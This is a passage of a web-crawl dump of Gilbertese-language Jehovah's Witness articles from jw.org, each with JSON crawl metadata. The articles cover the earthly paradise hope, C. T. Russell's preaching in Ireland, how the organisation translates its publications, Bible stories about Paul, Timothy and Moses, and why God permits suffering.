Aro . . . ni baireia bwa a na aki tabeakina taekan te tabo are e mena iai te bwaretaiti.\"\nAngia aomata ake a taua te Aro, a reireinaki bwa tokini kawaia boni karawa, ao tiaki te maiu n te bwaretaiti ae n te aonnaba. Ma e kangai Taian Areru 37:29: \"A na abana te aonnaba akana raoiroi, ao a na maeka i aona n aki toki.\" Kioina ngkai tiaki te bwaretaiti ara aonnaba ni boong aikai, tera te kantaninga ibukini kakororaoan te berita aei? *\nTE BWARETAITI NI KOAUA AE KABUTAA TE AONNABA\nE berita Iehova ae te Atua are ngaia are e karika te Bwaretaiti are n te moantai, bwa e na manga kaoka are e a tia ni bua. N te aro raa? Uringnga are e reireinira Iesu bwa ti na tataro ni kangai: \"E bia roko am Tautaeka n Uea. E na kakororaoaki nanom i karawa ao n te aonnaba naba.\" (Mataio 6:10) Te Tautaeka n Uea anne bon te tautaeka ae kairaki iroun Iesu Kristo, ao e na tautaekana te aonnaba aei ao n onei mwin tautaeka n aomata ni kabane. (Taniera 2:44) I aan ana kairiri te Tautaeka n Uea anne ao e nang \"kakororaoaki\" iai ana kantaninga te Atua ibukin te bwaretaiti ae n te aonnaba.\nMai mwaina ao e kairaki n te taamnei te burabeti are Itaia bwa e na kabwarabwaraa aron te maiu n te Bwaretaiti are beritanaki ike a nangi bane n toki taian rawawata ao kauntaba aika ituia aomata ni boong aikai. (Itaia 11:6-9; 35:5-7; 65:21-23) Ti kaumakiko bwa ko na kabanea tabeua te miniti ni wareki kiibu akanne n am Baibara. Karaoan anne e na kamatoaa riki nanom ni kaineti ma te bwai ae e katauraoia te Atua ibukia aomata aika ongeaba. Ao aomata akana a maiu n te tai anne, a nang kimwareirei ni maeka n te bwaretaiti ao ni karekea naba akoaia iroun te Atua, ake baike e kabuai ngkoa Atam.—Te Kaotioti 21:3.\nBukin tera ngkai ti kona ni kakoauaa bwa te kantaninga ibukin te Bwaretaiti n te aonnaba bon tiaki te karioiango, ma bon te koaua? Ibukina bwa e tuangira te Baibara ni kangai: \"Ma karawa ngkanne, bon ana karawa Iehova, ma e angania natiia aomata te aonnaba.\" Te Bwaretaiti n te aonnaba bon te bwai ae \"e a kamani beritanna mangkoangkoa, te Atua ae aki kona ni kewe.\" (Taian Areru 115:16; Tito 1:2) Ai tamaroara ana berita te Baibara aei ae taekan te Bwaretaiti ae akea tokina!\n^ bar. 15 E kakaongora bwa n te boki ae te Koran ni kibuna 105 n sura 21, ao e taekinaki ae kangai n te Al-Anbiya' [Burabeti]: \"A na abana te aonnaba te koraki aika raoiroi mai buakoia Au toro.\"","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-na4-2017-turai\/te-bwaretaiti-n-te-aonnaba\/","date":"2018-01-16T07:52:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886237.6\/warc\/CC-MAIN-20180116070444-20180116090444-00483.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1329,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.447,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NGKE e rororake te kaibuke tewaana n te rawa i Belfast Lough, ao bwatintia ae te kurubu ae uarereke ake a teitei i aon te kaibuke, a nori tabuki aika kiriin aika rabunakinako n ootan te ingabong. E riki anne ni Mei 1910. Iai temanna te mwaane i buakoia ae Charles T. Russell, are ai ana kanimaua ni mwananga nako Ireland. Iai kaibuke ni bwatintia aika bubura aika uowaa mai moan Brother Russell, aika tabe ni kabaaki bwa te Titanic are iinako ni moani mwanangana ao te Olympic. * Ao mai moan riki te tabo ni kaba, ai bon Taan Reirei n te Baibara aika rangi ni bati aika tei i aon te uaabu bwa a tataningaa waeraken teuaei.\nTao 20 te ririki imwain anne, e ukoukora te anga ae te kabanea n tamaroa Brother Russell ibukini kabutan te rongorongo ae raoiroi ni katobibia te aonnaba. E baireia bwa e na mwamwananga nakon aaba ake i tinanikun Amerika. E nako Ireland ni moani mwanangana n Turai 1891. Ngke e toka n te kaibuke ae te City of Chicago, e a nora bungintaai ngke e a uakaan ma te matabaiawa i Queenstown ao tao e bae n uringa aia taeka ana karo ibukin abaia. Ngke a rinanoni kaawa ma marenaua aika kanikan Brother Russell ma raona ni mwananga, a a noria bwa te tabo aei kaanga ai aron te tawaana ae e a \"tauraoi ao n tataningaa taiakina.\"\nBon itiua ana tai Brother Russell n roko i Ireland. Ibukina bwa e ueke te kan ongora irouia aomata ni moani mwanangana, a a roko bubua ma bubua aomata n ongora, ao ni mwanangana ake imwina riki a a roko nga ma nga. Ni kauouani mwanangana ni Mei 1903, a katanoataaki n nuutibeeba taekani botaki ibukia aomata nako ake a na karaoaki i Belfast ao i Dublin. E taekinna Russell bwa \"a kakauongo raoi aomata ake a roko\" n te reirei ae \"Te Berita ae Aanaki n te Taetae n Tuea,\" ae taekan ana onimaki Aberaam ao kakabwaia ibukia aomata n taai aika a na roko.\nIbukina bwa a rangi ni bati ake a kan ongora i Ireland, e baireia Russell bwa e na roko naba iai ni katenuani mwanangana nako Eurobe. Ngke e ruo nakon te uaabu i Belfast n te ingabong teuana n Eberi 1908, a a butimwaeia taari mwaane aika niman. N te tairiki anne, a katikaki nanoia \"taan ongora aika wanawana aika tao 300 mwaitiia\" n te kabwarabwara ibukia aomata nako, are e katanoataaki ae \"Kataenikaian Ana Embwaea Tatan.\" Iai temanna i buakoia ae kakaaitara ma e kabonganaaki te Baibara ni kaekaaki iai. Iai temanna riki te tia kakaaitara ae rangi n imanono i Dublin ae Mr. O'Connor, ae te tia koroboki n te botaki ae te YMCA. E kataia ni kairi nanoia taan ongora aika 1,000 tabun bwa a na kaaitaraia Taan Reirei n te Baibara. Ma tera ae riki?\nTi na oki rikaaki ao ni manga iangoa te bwai ae kona n riki n te botaki anne. E iangoia temanna te mwaane ae kani kakaaei ana koaua te Baibara bwa e na kaea te kabwarabwara ibukia aomata ae katanoataaki n te nuutibeeba ae The Irish Times. E kuri n aki reke ana kaintekateka n te tabo ni botaki bwa e a onrake irouia aomata. E kakauongo raoi nakon te tia kabwarabwara ae iaia irana, e buai, ao e bwaina te kooti ae roroo ae mwarairai. Ngke e anga ana kabwarabwara, e ririaki n te tabo ni kabwarabwara, e kateitea kain ana taeka, ao e kabwarabwaraa te kibu teuana imwin teuana, ike e a reke raoi iai otan te mwaane aei n ana koaua te Baibara. E ngae ngke e aki kamanena te bwai n taetae te tia kabwarabwara, ma e butanako bwanaana n te tabo ni botaki, ao a bane taan ongora ni kakauongo raoi i nanon teuana ma te iterana te aoa. Imwina, n tain tabekan titiraki ma kaekaaia ao e a kaitaraaki iroun O'Connor ma raona, ma e mwaatai ni katea bukin te rongorongo man te Baibara. A bane kaain te botaki ni kaota aia boutoka n aia uboubo. Ngke e a toki te kauntaeka, e a kawariia taari te mwaane are kan ongora arei bwa e kan reiakina riki ae bati. Ni kaineti ma aia rongorongo taani mataku, a bati ake a reiakina te koaua n te aro aei.\nE kitana New York ni Mei 1909 Brother Russell n te kaibuke ae te Mauretania n ana kaaua ni mwananga, ao e airi ma ana tia koroboki ae Brother Huntsinger, bwa a aonga ni kamanena aia tai ni borau n rinanon ao ni wareki kaongora n te Taua-n-Tantani. E karaoa te kabwarabwara ibukia aomata Brother Russell i Belfast ao a roko kaain te tabo anne aika 450, ma a teitei 100 bwa e a aki reke nneia.\nTe kanimaua ni mwananga are e taekinaki mai moa bon titeboo naba ma anne. Imwin te kabwarabwara ibukia aomata nako i Dublin, ao te tia rabakau n te Aro ae rangi ni kinaaki are e kairia O'Connor, a kaekaaki ana titiraki man te Baibara ao a rangi ni kimwareirei iai taan ongora. N te bong are imwina, a a toka taani mwamwananga aikai n te booti ae butimwaaka n nako Liverpool ao a a tokara te kaibuke ae e tanoata taekana ae te Lusitania, n nako New York. *\nA boni karaoaki naba kabwarabwara ibukia aomata nako ake a katanoataaki n ana kaonoua ao n ana kaitiua ni mwananga Brother Russell n 1911. Ni moan iteran te ririki, a butimwaeaki 2,000 aomata ake a ongora n te kabwarabwara ae \"Te Maiu Are Imwin te Mate\" irouia 20 Taan Reirei n te Baibara. E roko naba O'Connor i Dublin ma temanna riki te mitinare are tatabeki titiraki, ma a uboubo taan ongora ngkana a kaekaaki ana titiraki man te Baibara. N tain te kabuebue n te ririki naba anne, a bati ake a roko bwa a na ongora ni kaawa ake a kawaraki. E a manga kataia naba O'Connor ma taani kamangao aika 100 mwaitiia ni katoka te taromauri i Dublin, ma a boni boutokaa te tia kabwarabwara taan ongora.\nE ngae ngke n taai akanne e kakaraoi kabwarabwara ibukia aomata nako Brother Russell, ma e bon ataia bwa \"te mwakuri aei e aki boto i aon ana mwakuri te aomata,\" bwa \"tiaki mairouia aomata te mwakuri aei, bwa boni mairoun te Atua.\" Kabwarabwara ibukia aomata nako ake a katanoataaki boni katauraoaia aomata imwain te Botaki Ibukia Aomata Nako ao e rangi n angaraoi iai tataekinani koaua man te Baibara. Tera mwina? A ibuobuoki kabwarabwara ibukia aomata nako ni kabutanakoa te rongorongo ae raoiroi, ike a a bwebwerake iai ekaretia ni kaawa aika rangi ni bati i Ireland ni kabutaa.—Rongorongora rimoa i Buritan.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-reirei-beberuare-2018\/butanakon-te-rongorongo-ae-raoiroi-i-ireland-man-taiani-kabwarabwara-ibukia-aomata-nako\/","date":"2018-01-16T07:52:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886237.6\/warc\/CC-MAIN-20180116070444-20180116090444-00483.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1108,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.431,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ti karaoi booki n taetae aika e raka i aon 750, ibukini karaoan ara kabanea ni kona n tataekina \"te rongorongo ae raoiroi,\" nakoia \"botannaomata nako ao baronga ao taian taetae ao natannaomata.\" (Te Kaotioti 14:6) Ti kangaa ni kakororaoa te mwakuri ae kangaanga aei? Ti karaoa anne man aia ibuobuoki taani kororongorongo man aaba nako ao taan raitaeka aika kakaonimaki aika Ana Tia Kakoaua Iehova ni kabane.\nE katauraoaki moa te kaongora n te taetae n Ingiriti. E tararuaaki iroun te Rabwata n Tautaeka aia mwakuri te Koraki Aika Tabe ma Rongorongo, aika a mwakuri ni kautun ara botaki ni katobibia te aonnaba. Aei te rabwata ae e babairei mwiokoaia te koraki aika katauraoi kaongora ake a beku ni kautun ara botaki ao n aobiti n tararua tabeua. Ibukina bwa iai ara taani kororongorongo aika kakaokoro, ti a kona iai ni korei kaongora aika kaineti ma katei aika kakaokoro, bwa a aonga n anaaki nanoia aomata man natannaomata n ara boki nako.\nE kanakoaki te kaongora nakoia taan rairai. Imwini korean te kaongora, rinanoana ao kariaiakana, e a kanakoaki rinanoni kaombiuta nakoia tiim n rairai ni katobibia te aonnaba bwa a na rairia ma ni kaboraoia ma te taetae n Ingiriti ao e na kan n oin aia taetae. A kakorakoraia n rinei \"taeka aika koaua\" ake a na raira raoi nanon te taetae n Ingiriti.\nE kabaitiia te mwakuri taiani kaombiuta. E aki kona te kaombiuta ni karaoa tabeia taani katauraoa te kaongora ao taan rairai. Ma e kona ni baitii aia mwakuri mani kabonganaan rikitinare ni kaombiuta, bwaai ni kakaae ao bwaai n ibuobuoki riki tabeua aika tauraoi n taetae nako. E kabonganaaki irouia Ana Tia Kakoaua Iehova te bwai ni mwakuri ae te Multilanguage Electronic Publishing System (MEPS), n te aro are a kona ni karinaki iai kaongora ake a na rairaki n taetae aika bubua ma bubua, a kanakoaki n irianaki ma taamnei ao ni botakaki ibukini boreetiakia.\nBukin tera ngkai ti kakorakoraira ni karaoa aei, e ngae ngke ibukin taetae nako aika a kamanenaaki irouia aomata aika tii tabeua te nga mwaitiia? Ibukina bwa e kantaningaiia \"aeka n aomata nako [Iehova] bwa a na kamaiuaki, ma ni karekea te atatai ae eti ibukin te koaua.\"\nTera te mwakuri ae irekereke ma korean ara boki nako?\nBukin tera ngkai ti rairi booki n taetae aika rangi ni bati?","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/nanon-Iehova\/korean-ao-rairani-booki\/","date":"2018-01-19T17:34:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084888077.41\/warc\/CC-MAIN-20180119164824-20180119184824-00108.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":391,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.198,"stopwords_ratio":0.404,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mataku n te taamnei ae Kakaonimaki ni Koaua ni Boutokai Ana Motikitaeka Iehova—Rarawa Nakoia Taani Bure Aika Aki Rairi Nanoia, ao kaekai titiraki aikai:\nTera ae e kataaki iai kakaonimakia ni koaua ana karo Sonja?\nTera ae buokiia bwa a na teimatoa ni kakaonimaki ni koaua?\nE kangaa ni kakabwaiaaki Sonja mani kakaonimakia ni koaua nakon Iehova?","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/tebetembwa-2017-mwb\/kaetieti-ibukin-te-botaki-teb18-24\/kakaonimaki-ni-koaua-ngkana-e-kabaneaki-am-koraki\/","date":"2018-01-19T17:34:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084888077.41\/warc\/CC-MAIN-20180119164824-20180119184824-00108.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":57,"character_repetition_ratio":0.117,"word_repetition_ratio":0.0,"special_characters_ratio":0.181,"stopwords_ratio":0.421,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NGKE ko tabe n uarongorongo man te auti teuana nakon teuana, ao ko a ongo naba tangin te kaa ni bureitiman mai kiraroa. Akea bwa e a tangimwaaka riki. Ngke ko a maroro ma kaain te auti are imwina, ao ngaia toam e a tabeaianga n te kaa ni bureitiman are e a tei. E otinako te bureitiman ao e a nakoimi n titirakiningkami ni kangai: \"Ngkami akana uoman akanne ae kam kakawari auti ni maroroakina kanoan te Baibara? E bati te tangitang ibukimi!\" Kam kaeka ma te karinerine, ao ni kaotia ae Ana tia Kakoaua Iehova ngkami. Tera ae nang riki imwina?\nAnne te bwai ae e riiriki mangkoa ni karokoa ngkai. Tera aron te tautaeka ni waakinakon taian ririki nakoia Ana tia Kakoaua Iehova n te aba ane ko mena iai? A inaomata aomata ni waakina aia Aro? Ngkana eng, ao e taraa n ae a rangi n tabetabe tarim ma mwaanem n te onimaki i nanon tatabebwi te ririki n nako, ni mwakuri korakora \"ni kateani bukin te rongorongo ae raoiroi ao ni kamatoaana i matan te tautaeka.\" (IBir. 1:7) N aki ongeia bwa ko mena ia, ma iaiangoan raoi rongorongon totokanikaia n te boowi Ana tia Kakoaua Iehova, e kona n rangi ni kakorakoraa am onimaki. N te mwakoro aei ao ti na neneri tabeua mai buakon rongorongo aika kakaongora aikai. Man totokanikaira aikai are e a reke iai te bwai ni kakoaua ae kakukurei, bwa a na aki bati baike ti kona ni kakororaoi ngke arona bwa akea buokara iroun te Tautaeka n Uea!\nN TE MWAKORO AEI\nMWAKORO 13\nA kakairi tabeman taani moti n te boowi ae rietata n taai aikai, n ana iango Kamariera are te tia angareirei n te Tua ngkoa.\nMWAKORO 14\nE ongaki 'karaangan' te bwainikirinaki are bwaroia Ana tia Kakoaua Iehova ibukin aroia n tei i nuka ni kaineti ma waaki n tautaeka, n te bwai n ibuobuoki ae aki kantaningaaki.\nMWAKORO 15\nA kakorakoraia ana aomata te Atua ni karekea riaia n ongeaba n te tua","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/uea-te-atua\/tokanikai\/","date":"2018-01-20T16:09:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084889660.55\/warc\/CC-MAIN-20180120142458-20180120162458-00520.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":335,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.427,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bon te rorobuaka n ataei Timoteo n te ekaretia i Rutetera. Bon te I-Kuriiti tamana ao tinana te I-Iutaia. E reiakinaki teuaei taekan Iehova mangke e uarereke iroun tinana ae Eunike ao tibuna ae Roiti.\nNgke e roko Bauro i Rutetera n ana kauoua ni mwananga n uarongorongo ao e noria bwa e rangi n tangiriia taari Timoteo ao e ingainga ni kani buokiia. E kaoa Timoteo Bauro bwa e na iria ni mwamwanangana. Ni waakinakon te tai, e kataneia Timoteo Bauro bwa e na riki bwa te tia uarongorongo ao te tia reirei ae mwaatai ibukin te rongorongo ae raoiroi.\nA kairiraki n te taamnei ae raoiroi Bauro ma Timoteo n taabo nako ake a nako iai. N te tairiki teuana, e tuangaki Bauro n te miitara iroun te mwaane temanna bwa e na nako Maketonia ni buokiia. Ngaia are a a nako n uarongorongo ao ni katei ekaretia ikanne Bauro, Timoteo, Tira, ao Ruka.\nA bati mwaane ma aine ake a a riki bwa Kristian ni kaawani Maketonia ae Tetaronike. Ma a bakantang tabeman I-Iutaia irouni Bauro ma raona. A ikotiia mwaane aika akiako ao a katikiia taari aikai nakoia taan tautaeka n te kaawa ao a tatakarua ni kangai: 'A kaitaraa te tautaeka n Rom mwaane aikai.' A nang reke n te kangaanga Bauro ma Timoteo, ngaia are ngke e a bong ao a a birinako nako Beroia.\nA ingainga I-Kuriiti ao I-Iutaia ake i Beroia n reiakina te rongorongo ae raoiroi ao a a riki bwa kaain te onimaki. Ma ngke a roko I-Iutaia tabeman mai Tetaronike ni kaunia aomata, e a kitana Beroia Bauro nako Atenai. A tiku Timoteo ma Tira i Beroia bwa a na kakorakoraia taari. Imwina riki, ao Bauro e kanakoa Timoteo bwa e na okira Tetaronike ni buokiia taari bwa a na tokanikai i aon te bwainikirinaki ae korakora. Imwina e a manga kanakoa Timoteo nakon ekaretia aika bati riki bwa e na kaungaia.\nE taku Bauro nakon Timoteo: 'A na bwainikirinaki te koraki ake a kani beku ibukin Iehova.' E boni bwainikirinaki Timoteo ao ni kabureaki ibukin ana onimaki. Ma e kukurei iai bwa e a reke ana tai ni kaota kakaonimakina ni koaua nakon Iehova.\nE taku Bauro nakoia kaaini Biribi: 'I kanakoa Timoteo nakoimi. E na reireiningkami te bwai ae nanonaki n te nakonako n te koaua ao e na kataneiaingkami n te mwakuri ni minita.' E ataia Bauro bwa e kona n onimakina Timoteo. E riki bwa raoraona ao a kaai ni beku i nanon ririki aika bati.\n\"Akea riki temanna irou ae titeboo aroarona ma ngaia, ae e na tabeakin raoi tabeaiangami. Bwa ake tabemwaang a tabeakin oin nanoia ao tiaki nanon Iesu Kristo.\"—I-Biribi 2:20, 21","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/14\/bauro-ma-timoteo\/","date":"2018-01-23T15:38:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891980.75\/warc\/CC-MAIN-20180123151545-20180123171545-00742.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":448,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.21,"stopwords_ratio":0.442,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E taku Iehova nakoni Mote: 'Ararake nakon te maunga. N na korei au tua i aoni baaba aika atibu ao N na anganiko.' E ararakea te maunga Mote ao e tiku iai i nanon 40 te ngaina ao te bong. Ngke e mena ikanne, ao Iehova e korei Tuua Ake Tebwina i aoni baaba aika atibu aika uoua, ao e angani Mote.\nTabeua te tai imwina, a a iangoia tibun Iteraera bwa e a kitania Mote. A taku nakon Aaron: 'Ti tangira temanna ae e na kairira. Karaoa atuara!' E taku Aaron: 'Anganai ami koora.' E kaburoa te koora bwa e aonga n ran ao e a karaoa te bouannanti ae te kao te teei. Ao a taku aomata: 'Bon Atuara te kao te teei aei are kairira ni kaotinakoira mai Aikubita!' Ao a a taromauria te kao ae te koora aei ao a booa aia botaki ni kukurei. E bure anne? Eng, ibukina bwa a a tia ni berita bwa a na taromauria Iehova n tii ngaia. Ma a a urua ngkai aia berita.\nE nora te bwai ae riki Iehova ao e taku nakoni Mote: 'Naako ruuo nakoia aomata. A aikoa ongeaba irou ao a a taromauria te atua ae kewe.' E ruo man te maunga Mote ma uotana baaba ake atibu ake uoua.\nNgke e a uakaan Mote ma te kaembwa ao e a ongongo aia anene aomata. Ao e noriia ni mwamwaie ao ni bobobaraaki nakon te kao te teei. E rangi n un Mote. E bouai i aontano baaba ake uoua ao a maeinikun. E waekoa n urua te bouannanti arei. Ao e taku nakon Aaron: 'A kangaa n anaa nanom aomata aikai bwa ko na karaoa te bwai ae rangi ni buakaka aei?' E taku Aaron: 'Tai un. Ko bon atai aroia aomata aikai. A tangira atuaia ngaia are I karenakoi aia koora n te ai ao e a otinako naba te kao te teei aei!' E bon aki riai ni karaoa anne Aaron. E a manga ararakea te maunga Mote ao e bubutiia Iehova bwa e na kabwarai aia bure.\nE kabwarai aia bure Iehova naake a kukurei n ongeaba irouna. Ko nora kakawakin ae a riai n ongeaba tibun Iteraera n ana kairiri Mote?\n\"N te tai are ko taetae ni bau iai nakon te Atua, ao tai baenikai ni kakoroa bukina, bwa bon akea kukureina irouia akana nanobaba. Ane ko taetae ni bau iai ao kakoroa bukina.\"—Te Minita 5:4","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/5\/mote-10-tuua-kao-te-teei-ae-te-koora\/","date":"2018-01-19T04:01:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887729.45\/warc\/CC-MAIN-20180119030106-20180119050106-00767.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":406,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.421,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E karika te rawawata n te aonnaba te Atua?\nTera te titiraki are e tabekaki n te onnaroka are Eten?\nE na kangaa te Atua ni manga kaitiakii mwin nako rawawataia aomata?\n1, 2. Aeka n rawawata raa aika a kaaitara ma ngaai aomata ni boong aikai, ao baikara titiraki aika wai mai iai?\nIMWIN te buaka ae rangi ni karuanikai are e karaoaki n te aba teuana, ao a taunaki aomata aika nga ma nga mwaitiia n te ruanimate ae moan te takabubura ae katobibiaki n taiani kaibangaki aika uarereke bwa kanikinaeana. E mwakoro ae kangai i aoni kanikina aikai: \"Bukin Tera?\" N tabetai ao e a manga rangi n urua te nano te titiraki anne. A tabeka te titiraki anne aomata ma te nanokawaki ngkana iai aia koraki aika mate n te buaka, ni kabuanibwai aika karina n riki, n te aoraki, ke n te kakeru e ngae ngke a aki iowawa, ke a a uruakaki mwengaia iai ke a karawawataaki n aeka ni karawawata nako. A kan ataia bwa e aera ngkai a rotaki n aekaki ni karawawata aikai.\n2 E aera ngkai e tuai ni katoka te rawawata te Atua? Ngkana ngaia bwa moan te mwaaka Iehova ae te Atua, e tatangira, e wanawana, ao e kaetitaeka n ae riai, ao bukin tera ngkai e a taabangaki te riribai ma te buakaka n te aonnaba? Ko a tia n iaiangoi baikai?\n3, 4. (a) Tera ae kaotia bwa e aki bure iangoan ae ko na titiraki bwa e aera ngkai e tuai ni katoka te rawawata te Atua? (b) Tera ana iango Iehova ni kaineti ma te buakaka ao te rawawata?\n3 E bure iangoan ae ko na titiraki bwa e aera ngkai e tuai ni katoka te rawawata te Atua? A taku tabemwaang bwa ngkana a tabeka te aeka n titiraki anne, nanona ngkanne bwa e karako aia onimaki ke a kaotiota iai te aki karinerine nakon te Atua. Ma ngkana ko wareka te Baibara, ao ko na kunea bwa ngaia a tititiraki n aekakin anne aomata aika kakaonimaki ake a rangi ni karinea te Atua rimoa. N te katoto, e titirakina Iehova te burabeti ae Abakuka ni kangai: \"Bukin tera bwa ko karaoai bwa N na nora karaoan ae bure? Ao bukin tera bwa ko taona nanom nakon te karawawataaki? Bukin tera ngkai a mena i matau te urubwai ma te iowawa? Ao bukin tera ngkai e a bati te kauntaeka ma te itabarara?\"\n4 E takua te burabeti ae Abakuka Iehova ngke e titiraki? E aki, ma e a manga boni karini ana taeka teuaei n te Baibara are E kaira koreana. E buokia te Atua bwa e na karekea ana atatai ae mataata raoi ao ni kakorakoraa ana onimaki. E kani karaoa naba aekakin aei nakoim Iehova. Uringnga are e reiakinaki n te Baibara bwa \"e mumutiakiningkami.\" (1 Betero 5:7) E korakora riki ribaan te buakaka iroun te Atua ma te rawawata are e reke mai iai, nakon ribaakini baikanne irouia aomata. (Itaia 55:8, 9) Ma e aera ngkai e a rangi ni korakora te rawawata n te aonnaba?\nE AERA NGKAI E RANGI NI KORAKORA TE RAWAWATA?\n5. Tera ae taekinaki irouia aomata ae kabwarabwaraani bukin rawawataia aomata, ma tera ana reirei te Baibara iai?\n5 A tititirakinia mataniwin aia Aaro aomata, bwa e aera ngkai e a rangi ni korakora te rawawata. Ma a aki toki ni boo ma te kaeka ae bon nanon te Atua bwa e na riki te rawawata, bwa e a kamani bairei bwaai ma ngkoa aika a a riki ngkai, n ikotaki ma waaki aika kananokawaki. A bati aika tuangaki bwa a aki kona n ataaki ana kawai nako te Atua ke e kona ni karokoa te mate i aoia aomata ke ataei, ibukina bwa a aonga n roko i rarikina i karawa. N aron ae ko reiakinna, e bon aki karikii baika bubuaka Iehova ae te Atua. E taku te Baibara: \"E bon aki kona te Atua ae koaua n iangoa karaoan ae buakaka, ao Teuare Moan te Mwaaka bwa e na karaoa ae kairua!\"\n6. E aera ngkai a bati aomata aika a kairua ni bukina te Atua bwa e karikii rawawata n te aonnaba?\n6 Ko ataia bwa e aera ngkai a bukina te Atua aomata bwa Ngaia ae e karikii rawawata n te aonnaba? N aanga aika bati ao a bukina te Atua ae Moan te Mwaaka ibukina bwa a iangoia bwa boni ngaia te tia tautaekana te aonnaba. A aki ataa te reirei teuana man te Baibara ae bebete ao e kakawaki. Ko a tia n reiakina te koaua anne ni Mwakoro 3 n te boki aei. Te tia tautaekana te aonnaba ngkai, bon Tatan te Riaboro.\n7, 8. (a) A kangaa kaain te aonnaba ni kakairi n anuan te tia tautaekania? (b) E kangaa n reke te rawawata man aki kororaoia aomata ao n rotakia n \"te tai are a riki iai baika aki kantaningaaki\"?\n7 E katereterea ae kangai te Baibara: \"A bane kaain te aonnaba ni mena i aani mwaakan teuare buakaka.\" (1 Ioane 5:19) Ngkana ko iangoa anne, e aki ngkanne mataata? A kakairi kaain te aonnaba n anuan te anera ae buakaka aei, are ngaia \"are e burebureiia kaain te aonnaba ni kabutaa.\" (Te Kaotioti 12:9) E rangi ni kairiribai Tatan, e mwamwanaa te aba ao e iowawa. Mangaia are e a onrake te aonnaba n te riribai, te mwamwanaa te aba, ao te iowawa, ibukina bwa boni ngaia ae kairiri iai. Anne bukina teuana ae e a rangi ni korakora iai te rawawata.\n8 Bukina naba teuana, bwa n aron ae e kabwarabwaraaki ni Mwakoro 3, a aki kororaoi aomata ao a bubure, man te tai are e riki iai te karitei n te onnaroka are Eten. Ibukin aroia aomata n aki kororaoi, a kaiangatoa ni kan taui aroia aomata tabemwaang, ao e a riki iai te buaka, te bwainikirinaki ao te rawawata. (Te Minita 4:1; 8:9) Bukina are te katenua ae a karawawataaki naba iai aomata, bon iai \"te tai are a riki iai baika aki kantaningaaki.\" (Wareka Te Minita 9:11.) Kioina ngkai e aki butimwaeaki Iehova irouia aomata bwa te tia Tautaeka ae e na katania, a kona n rotakibuaka ngkanne ni menaia n te tabo teuana ao n te tai ae e riki iai te bwai ae e aki kantaningaaki.\n9. E aera ngkai ti kakoauaa bwa iai bukina ae riai, ae ngaia ae e tuai ni katoka iai te rawawata Iehova?\n9 E karaunano iroura ataakin ae ngaia e bon aki karika te rawawata te Atua. Tiaki Ngaia ae karika te buaka, te kakeru, te bwainikirinaki, ao taiani kabuanibwai ke urubwai aika riiriki n te 